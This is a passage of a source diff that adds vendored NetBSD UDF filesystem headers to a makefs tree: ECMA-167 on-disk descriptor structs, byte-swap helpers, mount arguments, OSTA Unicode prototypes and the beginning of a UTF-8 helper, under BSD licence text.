uint16_t id;
uint16_t descriptor_ver;
uint8_t cksum;
uint8_t reserved;
uint16_t serial_num;
uint16_t desc_crc;
uint16_t desc_crc_len;
uint32_t tag_loc;
} __packed;
#define UDF_DESC_TAG_LENGTH 16
/* Recorded Address [4/7.1] */
struct lb_addr { /* within partition space */
uint32_t lb_num;
uint16_t part_num;
} __packed;
/* Extent Descriptor [3/7.1] */
struct extent_ad {
uint32_t len;
uint32_t loc;
} __packed;
/* Short Allocation Descriptor [4/14.14.1] */
struct short_ad {
uint32_t len;
uint32_t lb_num;
} __packed;
/* Long Allocation Descriptor [4/14.14.2] */
struct UDF_ADImp_use {
uint16_t flags;
uint32_t unique_id;
} __packed;
#define UDF_ADIMP_FLAGS_EXTENT_ERASED 1
struct long_ad {
uint32_t len;
struct lb_addr loc; /* within a logical volume mapped partition space !! */
union {
uint8_t bytes[6];
struct UDF_ADImp_use im_used;
} impl;
} __packed;
#define longad_uniqueid impl.im_used.unique_id
/* Extended Allocation Descriptor [4/14.14.3] ; identifies an extent of allocation descriptors ; also in UDF ? */
struct ext_ad {
uint32_t ex_len;
uint32_t rec_len;
uint32_t inf_len;
struct lb_addr ex_loc;
uint8_t reserved[2];
} __packed;
/* ICB : Information Control Block; positioning */
union icb {
struct short_ad s_ad;
struct long_ad l_ad;
struct ext_ad e_ad;
};
/* short/long/ext extent have flags encoded in length */
#define UDF_EXT_ALLOCATED (0U<<30)
#define UDF_EXT_FREED (1U<<30)
#define UDF_EXT_ALLOCATED_BUT_NOT_USED (1U<<30)
#define UDF_EXT_FREE (2U<<30)
#define UDF_EXT_REDIRECT (3U<<30)
#define UDF_EXT_FLAGS(len) ((len) & (3U<<30))
#define UDF_EXT_LEN(len) ((len) & ((1U<<30)-1))
#define UDF_EXT_MAXLEN ((1U<<30)-1)
/* Character set spec [1/7.2.1] */
struct charspec {
uint8_t type;
uint8_t inf[63];
} __packed;
struct pathcomp {
uint8_t type;
uint8_t l_ci;
uint16_t comp_filever;
uint8_t ident[256];
} __packed;
#define UDF_PATH_COMP_SIZE 4
#define UDF_PATH_COMP_RESERVED 0
#define UDF_PATH_COMP_ROOT 1
#define UDF_PATH_COMP_MOUNTROOT 2
#define UDF_PATH_COMP_PARENTDIR 3
#define UDF_PATH_COMP_CURDIR 4
#define UDF_PATH_COMP_NAME 5
/* Timestamp [1/7.3] */
struct timestamp {
uint16_t type_tz;
uint16_t year;
uint8_t month;
uint8_t day;
uint8_t hour;
uint8_t minute;
uint8_t second;
uint8_t centisec;
uint8_t hund_usec;
uint8_t usec;
} __packed;
#define UDF_TIMESTAMP_SIZE 12
/* Entity Identifier [1/7.4] */
#define UDF_REGID_ID_SIZE 23
struct regid {
uint8_t flags;
uint8_t id[UDF_REGID_ID_SIZE];
uint8_t id_suffix[8];
} __packed;
/* ICB Tag [4/14.6] */
struct icb_tag {
uint32_t prev_num_dirs;
uint16_t strat_type;
union {
uint8_t strat_param[2];
uint16_t strat_param16;
};
uint16_t max_num_entries;
uint8_t reserved;
uint8_t file_type;
struct lb_addr parent_icb;
uint16_t flags;
} __packed;
#define UDF_ICB_TAG_FLAGS_ALLOC_MASK 0x03
#define UDF_ICB_SHORT_ALLOC 0x00
#define UDF_ICB_LONG_ALLOC 0x01
#define UDF_ICB_EXT_ALLOC 0x02
#define UDF_ICB_INTERN_ALLOC 0x03
#define UDF_ICB_TAG_FLAGS_DIRORDERED (1<< 3)
#define UDF_ICB_TAG_FLAGS_NONRELOC (1<< 4)
#define UDF_ICB_TAG_FLAGS_CONTIGUES (1<< 9)
#define UDF_ICB_TAG_FLAGS_MULTIPLEVERS (1<<12)
#define UDF_ICB_TAG_FLAGS_SETUID (1<< 6)
#define UDF_ICB_TAG_FLAGS_SETGID (1<< 7)
#define UDF_ICB_TAG_FLAGS_STICKY (1<< 8)
#define UDF_ICB_FILETYPE_UNKNOWN 0
#define UDF_ICB_FILETYPE_UNALLOCSPACE 1
#define UDF_ICB_FILETYPE_PARTINTEGRITY 2
#define UDF_ICB_FILETYPE_INDIRECTENTRY 3
#define UDF_ICB_FILETYPE_DIRECTORY 4
#define UDF_ICB_FILETYPE_RANDOMACCESS 5
#define UDF_ICB_FILETYPE_BLOCKDEVICE 6
#define UDF_ICB_FILETYPE_CHARDEVICE 7
#define UDF_ICB_FILETYPE_EXTATTRREC 8
#define UDF_ICB_FILETYPE_FIFO 9
#define UDF_ICB_FILETYPE_SOCKET 10
#define UDF_ICB_FILETYPE_TERM 11
#define UDF_ICB_FILETYPE_SYMLINK 12
#define UDF_ICB_FILETYPE_STREAMDIR 13
#define UDF_ICB_FILETYPE_VAT 248
#define UDF_ICB_FILETYPE_REALTIME 249
#define UDF_ICB_FILETYPE_META_MAIN 250
#define UDF_ICB_FILETYPE_META_MIRROR 251
#define UDF_ICB_FILETYPE_META_BITMAP 252
/* Anchor Volume Descriptor Pointer [3/10.2] */
struct anchor_vdp {
struct desc_tag tag;
struct extent_ad main_vds_ex; /* to main volume descriptor set ; 16 sectors min */
struct extent_ad reserve_vds_ex; /* copy of main volume descriptor set ; 16 sectors min */
} __packed;
/* Volume Descriptor Pointer [3/10.3] */
struct vol_desc_ptr {
struct desc_tag tag; /* use for extending the volume descriptor space */
uint32_t vds_number;
struct extent_ad next_vds_ex; /* points to the next block for volume descriptor space */
} __packed;
/* Primary Volume Descriptor [3/10.1] */
struct pri_vol_desc {
struct desc_tag tag;
uint32_t seq_num; /* MAX prevail */
uint32_t pvd_num; /* assigned by author; 0 is special as in it may only occur once */
char vol_id[32]; /* KEY ; main identifier of this disc */
uint16_t vds_num; /* volume descriptor number; i.e. what volume number is it */
uint16_t max_vol_seq; /* maximum volume descriptor number known */
uint16_t ichg_lvl;
uint16_t max_ichg_lvl;
uint32_t charset_list;
uint32_t max_charset_list;
char volset_id[128]; /* KEY ; if part of a multi-disc set or a band of volumes */
struct charspec desc_charset; /* KEY according to ECMA 167 */
struct charspec explanatory_charset;
struct extent_ad vol_abstract;
struct extent_ad vol_copyright;
struct regid app_id;
struct timestamp time;
struct regid imp_id;
uint8_t imp_use[64];
uint32_t prev_vds_loc; /* location of predecessor _lov ? */
uint16_t flags; /* bit 0 : if set indicates volume set name is meaningful */
uint8_t reserved[22];
} __packed;
/* UDF specific implementation use part of the implementation use volume descriptor */
struct udf_lv_info {
struct charspec lvi_charset;
char logvol_id[128];
char lvinfo1[36];
char lvinfo2[36];
char lvinfo3[36];
struct regid impl_id;
uint8_t impl_use[128];
} __packed;
/* Implementation use Volume Descriptor */
struct impvol_desc {
struct desc_tag tag;
uint32_t seq_num;
struct regid impl_id;
union {
struct udf_lv_info lv_info;
char impl_use[460];
} _impl_use;
} __packed;
/* Logical Volume Descriptor [3/10.6] */
struct logvol_desc {
struct desc_tag tag;
uint32_t seq_num; /* MAX prevail */
struct charspec desc_charset; /* KEY */
char logvol_id[128]; /* KEY */
uint32_t lb_size;
struct regid domain_id;
union {
struct long_ad fsd_loc; /* to fileset descriptor SEQUENCE */
uint8_t logvol_content_use[16];
} _lvd_use;
uint32_t mt_l; /* Partition map length */
uint32_t n_pm; /* Number of partition maps */
struct regid imp_id;
uint8_t imp_use[128];
struct extent_ad integrity_seq_loc;
uint8_t maps[1];
} __packed;
#define lv_fsd_loc _lvd_use.fsd_loc
#define UDF_INTEGRITY_OPEN 0
#define UDF_INTEGRITY_CLOSED 1
#define UDF_PMAP_SIZE 64
/* Type 1 Partition Map [3/10.7.2] */
struct part_map_1 {
uint8_t type;
uint8_t len;
uint16_t vol_seq_num;
uint16_t part_num;
} __packed;
/* Type 2 Partition Map [3/10.7.3] */
struct part_map_2 {
uint8_t type;
uint8_t len;
uint8_t reserved[2];
struct regid part_id;
uint16_t vol_seq_num;
uint16_t part_num;
uint8_t reserved2[24];
} __packed;
/* Virtual Partition Map [UDF 2.01/2.2.8] */
struct part_map_virt {
uint8_t type;
uint8_t len;
uint8_t reserved[2];
struct regid id;
uint16_t vol_seq_num;
uint16_t part_num;
uint8_t reserved1[24];
} __packed;
/* Sparable Partition Map [UDF 2.01/2.2.9] */
struct part_map_spare {
uint8_t type;
uint8_t len;
uint8_t reserved[2];
struct regid id;
uint16_t vol_seq_num;
uint16_t part_num;
uint16_t packet_len;
uint8_t n_st; /* Number of redundant sparing tables range 1-4 */
uint8_t reserved1;
uint32_t st_size; /* size of EACH sparing table */
uint32_t st_loc[1]; /* locations of sparing tables */
} __packed;
/* Metadata Partition Map [UDF 2.50/2.2.10] */
struct part_map_meta {
uint8_t type;
uint8_t len;
uint8_t reserved[2];
struct regid id;
uint16_t vol_seq_num;
uint16_t part_num;
uint32_t meta_file_lbn; /* logical block number for file entry within part_num */
uint32_t meta_mirror_file_lbn;
uint32_t meta_bitmap_file_lbn;
uint32_t alloc_unit_size; /* allocation unit size in blocks */
uint16_t alignment_unit_size; /* alignment necessary in blocks */
uint8_t flags;
uint8_t reserved1[5];
} __packed;
#define METADATA_DUPLICATED 1
union udf_pmap {
uint8_t data[UDF_PMAP_SIZE];
struct part_map_1 pm1;
struct part_map_2 pm2;
struct part_map_virt pmv;
struct part_map_spare pms;
struct part_map_meta pmm;
};
/* Sparing Map Entry [UDF 2.01/2.2.11] */
struct spare_map_entry {
uint32_t org; /* partition relative address */
uint32_t map; /* absolute disc address (!) can be in partition, but doesn't have to be */
} __packed;
/* Sparing Table [UDF 2.01/2.2.11] */
struct udf_sparing_table {
struct desc_tag tag;
struct regid id;
uint16_t rt_l; /* Relocation Table len */
uint8_t reserved[2];
uint32_t seq_num;
struct spare_map_entry entries[1];
} __packed;
#define UDF_NO_PREV_VAT 0xffffffff
/* UDF 1.50 VAT suffix [UDF 2.2.10 (UDF 1.50 spec)] */
struct udf_oldvat_tail {
struct regid id; /* "*UDF Virtual Alloc Tbl" */
uint32_t prev_vat;
} __packed;
/* VAT table [UDF 2.0.1/2.2.10] */
struct udf_vat {
uint16_t header_len;
uint16_t impl_use_len;
char logvol_id[128]; /* newer version of the LVD one */
uint32_t prev_vat;
uint32_t num_files;
uint32_t num_directories;
uint16_t min_udf_readver;
uint16_t min_udf_writever;
uint16_t max_udf_writever;
uint16_t reserved;
uint8_t data[1]; /* impl.use followed by VAT entries (uint32_t) */
} __packed;
/* Space bitmap descriptor as found in the partition header descriptor */
struct space_bitmap_desc {
struct desc_tag tag; /* TagId 264 */
uint32_t num_bits; /* number of bits */
uint32_t num_bytes; /* bytes that contain it */
uint8_t data[1];
} __packed;
/* Unalloc space entry as found in the partition header descriptor */
struct space_entry_desc {
struct desc_tag tag; /* TagId 263 */
struct icb_tag icbtag; /* type 1 */
uint32_t l_ad; /* in bytes */
uint8_t entry[1];
} __packed;
/* Partition header descriptor; in the contents_use of part_desc */
struct part_hdr_desc {
struct short_ad unalloc_space_table;
struct short_ad unalloc_space_bitmap;
struct short_ad part_integrity_table; /* has to be ZERO for UDF */
struct short_ad freed_space_table;
struct short_ad freed_space_bitmap;
uint8_t reserved[88];
} __packed;
/* Partition Descriptor [3/10.5] */
struct part_desc {
struct desc_tag tag;
uint32_t seq_num; /* MAX prevailing */
uint16_t flags; /* bit 0 : if set the space is allocated */
uint16_t part_num; /* KEY */
struct regid contents;
union {
struct part_hdr_desc part_hdr;
uint8_t contents_use[128];
} _impl_use;
uint32_t access_type; /* R/W, WORM etc. */
uint32_t start_loc; /* start of partition with given length */
uint32_t part_len;
struct regid imp_id;
uint8_t imp_use[128];
uint8_t reserved[156];
} __packed;
#define pd_part_hdr _impl_use.part_hdr
#define UDF_PART_FLAG_ALLOCATED 1
/* Unallocated Space Descriptor (UDF 2.01/2.2.5) */
struct unalloc_sp_desc {
struct desc_tag tag;
uint32_t seq_num; /* MAX prevailing */
uint32_t alloc_desc_num;
struct extent_ad alloc_desc[1];
} __packed;
/* Logical Volume Integrity Descriptor [3/30.10] */
struct logvolhdr {
uint64_t next_unique_id;
/* rest reserved */
} __packed;
struct udf_logvol_info {
struct regid impl_id;
uint32_t num_files;
uint32_t num_directories;
uint16_t min_udf_readver;
uint16_t min_udf_writever;
uint16_t max_udf_writever;
} __packed;
struct logvol_int_desc {
struct desc_tag tag;
struct timestamp time;
uint32_t integrity_type;
struct extent_ad next_extent;
union {
struct logvolhdr logvolhdr;
int8_t reserved[32];
} _impl_use;
uint32_t num_part;
uint32_t l_iu;
uint32_t tables[1]; /* Freespace table, Sizetable, Implementation use */
} __packed;
#define lvint_next_unique_id _impl_use.logvolhdr.next_unique_id
/* File Set Descriptor [4/14.1] */
struct fileset_desc {
struct desc_tag tag;
struct timestamp time;
uint16_t ichg_lvl;
uint16_t max_ichg_lvl;
uint32_t charset_list;
uint32_t max_charset_list;
uint32_t fileset_num; /* key! */
uint32_t fileset_desc_num;
struct charspec logvol_id_charset;
char logvol_id[128]; /* for recovery */
struct charspec fileset_charset;
char fileset_id[32]; /* Mountpoint !! */
char copyright_file_id[32];
char abstract_file_id[32];
struct long_ad rootdir_icb; /* to rootdir; icb->virtual ? */
struct regid domain_id;
struct long_ad next_ex; /* to the next fileset_desc extent */
struct long_ad streamdir_icb; /* streamdir; needed? */
uint8_t reserved[32];
} __packed;
/* File Identifier Descriptor [4/14.4] */
struct fileid_desc {
struct desc_tag tag;
uint16_t file_version_num;
uint8_t file_char;
uint8_t l_fi; /* Length of file identifier area */
struct long_ad icb;
uint16_t l_iu; /* Length of implementation use area */
uint8_t data[1];
} __packed;
#define UDF_FID_SIZE 38
#define UDF_FILE_CHAR_VIS (1 << 0) /* Invisible */
#define UDF_FILE_CHAR_DIR (1 << 1) /* Directory */
#define UDF_FILE_CHAR_DEL (1 << 2) /* Deleted */
#define UDF_FILE_CHAR_PAR (1 << 3) /* Parent Directory */
#define UDF_FILE_CHAR_META (1 << 4) /* Stream metadata */
/* Extended attributes [4/14.10.1] */
struct extattrhdr_desc {
struct desc_tag tag;
uint32_t impl_attr_loc; /* offsets within this descriptor */
uint32_t appl_attr_loc; /* ditto */
} __packed;
#define UDF_IMPL_ATTR_LOC_NOT_PRESENT 0xffffffff
#define UDF_APPL_ATTR_LOC_NOT_PRESENT 0xffffffff
/* Extended attribute entry [4/48.10.2] */
struct extattr_entry {
uint32_t type;
uint8_t subtype;
uint8_t reserved[3];
uint32_t a_l;
} __packed;
/* Extended attribute entry; type 2048 [4/48.10.8] */
struct impl_extattr_entry {
struct extattr_entry hdr;
uint32_t iu_l;
struct regid imp_id;
union {
uint8_t data[1];
uint16_t data16;
};
} __packed;
/* Extended attribute entry; type 65 536 [4/48.10.9] */
struct appl_extattr_entry {
struct extattr_entry hdr;
uint32_t au_l;
struct regid appl_id;
uint8_t data[1];
} __packed;
/* File Times attribute entry; type 5 or type 6 [4/48.10.5], [4/48.10.6] */
struct filetimes_extattr_entry {
struct extattr_entry hdr;
uint32_t d_l; /* length of times[] data following */
uint32_t existence; /* bitmask */
struct timestamp times[1]; /* in order of ascending bits */
} __packed;
#define UDF_FILETIMES_ATTR_NO 5
#define UDF_FILETIMES_FILE_CREATION 1
#define UDF_FILETIMES_FILE_DELETION 4
#define UDF_FILETIMES_FILE_EFFECTIVE 8
#define UDF_FILETIMES_FILE_BACKUPED 16
#define UDF_FILETIMES_ATTR_SIZE(no) (20 + (no)*sizeof(struct timestamp))
/* Device Specification Extended Attribute [4/4.10.7] */
struct device_extattr_entry {
struct extattr_entry hdr;
uint32_t iu_l; /* length of implementation use */
uint32_t major;
uint32_t minor;
uint8_t data[1]; /* UDF: if nonzero length, contain developer ID regid */
} __packed;
#define UDF_DEVICESPEC_ATTR_NO 12
/* VAT LV extension Extended Attribute [UDF 3.3.4.5.1.3] 1.50 errata */
struct vatlvext_extattr_entry {
uint64_t unique_id_chk; /* needs to be copy of ICB's */
uint32_t num_files;
uint32_t num_directories;
char logvol_id[128]; /* replaces logvol name */
} __packed;
/* File Entry [4/14.9] */
struct file_entry {
struct desc_tag tag;
struct icb_tag icbtag;
uint32_t uid;
uint32_t gid;
uint32_t perm;
uint16_t link_cnt;
uint8_t rec_format;
uint8_t rec_disp_attr;
uint32_t rec_len;
uint64_t inf_len;
uint64_t logblks_rec;
struct timestamp atime;
struct timestamp mtime;
struct timestamp attrtime;
uint32_t ckpoint;
struct long_ad ex_attr_icb;
struct regid imp_id;
uint64_t unique_id;
uint32_t l_ea; /* Length of extended attribute area */
uint32_t l_ad; /* Length of allocation descriptors */
uint8_t data[1];
} __packed;
#define UDF_FENTRY_SIZE 176
#define UDF_FENTRY_PERM_USER_MASK 0x07
#define UDF_FENTRY_PERM_GRP_MASK 0xE0
#define UDF_FENTRY_PERM_OWNER_MASK 0x1C00
/* Extended File Entry [4/48.17] */
struct extfile_entry {
struct desc_tag tag;
struct icb_tag icbtag;
uint32_t uid;
uint32_t gid;
uint32_t perm;
uint16_t link_cnt;
uint8_t rec_format;
uint8_t rec_disp_attr;
uint32_t rec_len;
uint64_t inf_len;
uint64_t obj_size;
uint64_t logblks_rec;
struct timestamp atime;
struct timestamp mtime;
struct timestamp ctime;
struct timestamp attrtime;
uint32_t ckpoint;
uint32_t reserved1;
struct long_ad ex_attr_icb;
struct long_ad streamdir_icb;
struct regid imp_id;
uint64_t unique_id;
uint32_t l_ea; /* Length of extended attribute area */
uint32_t l_ad; /* Length of allocation descriptors */
uint8_t data[1];
} __packed;
#define UDF_EXTFENTRY_SIZE 216
/* Indirect entry [ecma 48.7] */
struct indirect_entry {
struct desc_tag tag;
struct icb_tag icbtag;
struct long_ad indirect_icb;
} __packed;
/* Allocation extent descriptor [ecma 48.5] */
struct alloc_ext_entry {
struct desc_tag tag;
uint32_t prev_entry;
uint32_t l_ad;
uint8_t data[1];
} __packed;
union dscrptr {
struct desc_tag tag;
struct anchor_vdp avdp;
struct vol_desc_ptr vdp;
struct pri_vol_desc pvd;
struct logvol_desc lvd;
struct unalloc_sp_desc usd;
struct logvol_int_desc lvid;
struct impvol_desc ivd;
struct part_desc pd;
struct fileset_desc fsd;
struct fileid_desc fid;
struct file_entry fe;
struct extfile_entry efe;
struct extattrhdr_desc eahd;
struct indirect_entry inde;
struct alloc_ext_entry aee;
struct udf_sparing_table spt;
struct space_bitmap_desc sbd;
struct space_entry_desc sed;
};
#endif /* !_FS_UDF_ECMA167_UDF_H_ */

35
thirdparty/makefs/udf/newfs_udf.h vendored Normal file
View File

@@ -0,0 +1,35 @@
/* $NetBSD: newfs_udf.h,v 1.9 2022/04/09 09:58:11 riastradh Exp $ */
/*
* Copyright (c) 2006, 2008, 2013 Reinoud Zandijk
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef _FS_UDF_NEWFS_UDF_H_
#define _FS_UDF_NEWFS_UDF_H_
/* general settings */
#define UDF_512_TRACK 0 /* NOT recommended */
#endif /* _FS_UDF_NEWFS_UDF_H_ */

76
thirdparty/makefs/udf/udf_bswap.h vendored Normal file
View File

@@ -0,0 +1,76 @@
/* $NetBSD: udf_bswap.h,v 1.8 2009/10/22 21:50:01 bouyer Exp $ */
/*
* Copyright (c) 1998 Manuel Bouyer.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* adapted for UDF by Reinoud Zandijk <reinoud@netbsd.org>
*
*/
#ifndef _FS_UDF_UDF_BSWAP_H_
#define _FS_UDF_UDF_BSWAP_H_
#include <endian.h>
// #include <machine/bswap.h>
// #include <sys/bswap.h>
/* rest only relevant for big endian machines */
#if (BYTE_ORDER == BIG_ENDIAN)
/* inlines for access to swapped data */
static __inline uint16_t udf_rw16(uint16_t);
static __inline uint32_t udf_rw32(uint32_t);
static __inline uint64_t udf_rw64(uint64_t);
static __inline uint16_t
udf_rw16(uint16_t a)
{
return bswap16(a);
}
static __inline uint32_t
udf_rw32(uint32_t a)
{
return bswap32(a);
}
static __inline uint64_t
udf_rw64(uint64_t a)
{
return bswap64(a);
}
#else
#define udf_rw16(a) ((uint16_t)(a))
#define udf_rw32(a) ((uint32_t)(a))
#define udf_rw64(a) ((uint64_t)(a))
#endif
#endif /* !_FS_UDF_UDF_BSWAP_H_ */

63
thirdparty/makefs/udf/udf_mount.h vendored Normal file
View File

@@ -0,0 +1,63 @@
/* $NetBSD: udf_mount.h,v 1.4 2019/10/16 21:52:22 maya Exp $ */
/*
* Copyright (c) 2006 Reinoud Zandijk
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef _FS_UDF_UDF_MOUNT_H_
#define _FS_UDF_UDF_MOUNT_H_
/*
* Arguments to mount UDF filingsystem.
*/
#define UDFMNT_VERSION 1
struct udf_args {
uint32_t version; /* version of this structure */
char *fspec; /* mount specifier */
int32_t sessionnr; /* session specifier, rel of abs */
uint32_t udfmflags; /* mount options */
int32_t gmtoff; /* offset from UTC in seconds */
uid_t anon_uid; /* mapping of anonymous files uid */
gid_t anon_gid; /* mapping of anonymous files gid */
uid_t nobody_uid; /* nobody:nobody will map to -1:-1 */
gid_t nobody_gid; /* nobody:nobody will map to -1:-1 */
uint32_t sector_size; /* for mounting dumps/files */
/* extendable */
uint8_t reserved[32];
};
/* udf mount options */
#define UDFMNT_CLOSESESSION 0x00000001 /* close session on dismount */
#define UDFMNT_BITS "\20\1CLOSESESSION"
#endif /* !_FS_UDF_UDF_MOUNT_H_ */

44
thirdparty/makefs/udf/udf_osta.h vendored Normal file
View File

@@ -0,0 +1,44 @@
/* $NetBSD: udf_osta.h,v 1.4 2008/05/14 16:49:48 reinoud Exp $ */
/*
* Prototypes for the OSTA functions
*/
#ifndef _FS_UDF_OSTA_H_
#define _FS_UDF_OSTA_H_
#include <sys/types.h>
#ifndef _KERNEL
#include <stdbool.h>
#endif
#ifndef UNIX
#define UNIX
#endif
#ifndef MAXLEN
#define MAXLEN 255
#endif
/***********************************************************************
* The following two typedef's are to remove compiler dependancies.
* byte needs to be unsigned 8-bit, and unicode_t needs to be
* unsigned 16-bit.
*/
typedef uint16_t unicode_t;
typedef uint8_t byte;
int udf_UncompressUnicode(int, byte *, unicode_t *);
int udf_CompressUnicode(int, int, unicode_t *, byte *);
unsigned short udf_cksum(unsigned char *, int);
unsigned short udf_unicode_cksum(unsigned short *, int);
uint16_t udf_ea_cksum(uint8_t *data);
int UDFTransName(unicode_t *, unicode_t *, int);
int UnicodeLength(unicode_t *string);
#endif /* _FS_UDF_OSTA_H_ */

161
thirdparty/makefs/udf/unicode.h vendored Normal file
View File

@@ -0,0 +1,161 @@
/* $NetBSD: unicode.h,v 1.1 2013/08/05 14:11:30 reinoud Exp $ */
/*-
* Copyright (c) 2001, 2004 The NetBSD Foundation, Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*-
* Copyright (c) 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Paul Borman at Krystal Technologies.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Routines for handling Unicode encoded in UTF-8 form, code derived from
* src/lib/libc/locale/utf2.c.
*/
static u_int16_t wget_utf8(const char **, size_t *);
static int wput_utf8(char *, size_t, u_int16_t);
/*
* Read one UTF8-encoded character off the string, shift the string pointer
* and return the character.
*/
static u_int16_t
wget_utf8(const char **str, size_t *sz)
{
unsigned int c;
